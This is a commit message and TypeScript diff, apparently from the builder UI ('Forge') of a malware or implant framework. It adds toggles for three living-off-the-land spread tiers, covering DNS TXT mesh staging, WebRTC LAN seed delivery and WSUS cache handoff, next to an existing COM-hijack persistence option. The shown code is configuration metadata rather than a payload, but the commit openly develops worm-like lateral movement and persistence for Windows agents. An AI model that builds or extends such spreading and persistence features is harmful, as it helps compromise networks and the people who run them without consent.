Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

server/web/src/help/forgeRules.ts

@@ -432,6 +432,23 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
           : undefined,
       hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
     },
+    dns_txt_spread: {
+      disabled: isUnixSingle,
+      badge: 'baked',
+      lockedReason: isUnixSingle ? 'DNS TXT spread is Windows/universal only.' : undefined,
+      hint: isUniversal ? 'Windows worker default ON — nslookup/Resolve-DnsName _aether TXT mesh.' : undefined,
+    },
+    wsus_cache_peer_spread: {
+      disabled: isUnixSingle,
+      badge: 'baked',
+      lockedReason: isUnixSingle ? 'WSUS cache peer spread is Windows-only.' : undefined,
+    },
+    webrtc_mesh_spread: {
+      disabled: isUnixSingle,
+      badge: 'baked',
+      lockedReason: isUnixSingle ? 'WebRTC mesh spread is Windows/universal only.' : undefined,
+      hint: 'Default OFF — enable for dense LANs; uses STUN + WS relay (LAN HTTP fallback in tests).',
+    },
     com_hijack_persist: {
       disabled: isUnixSingle,
       badge: 'baked',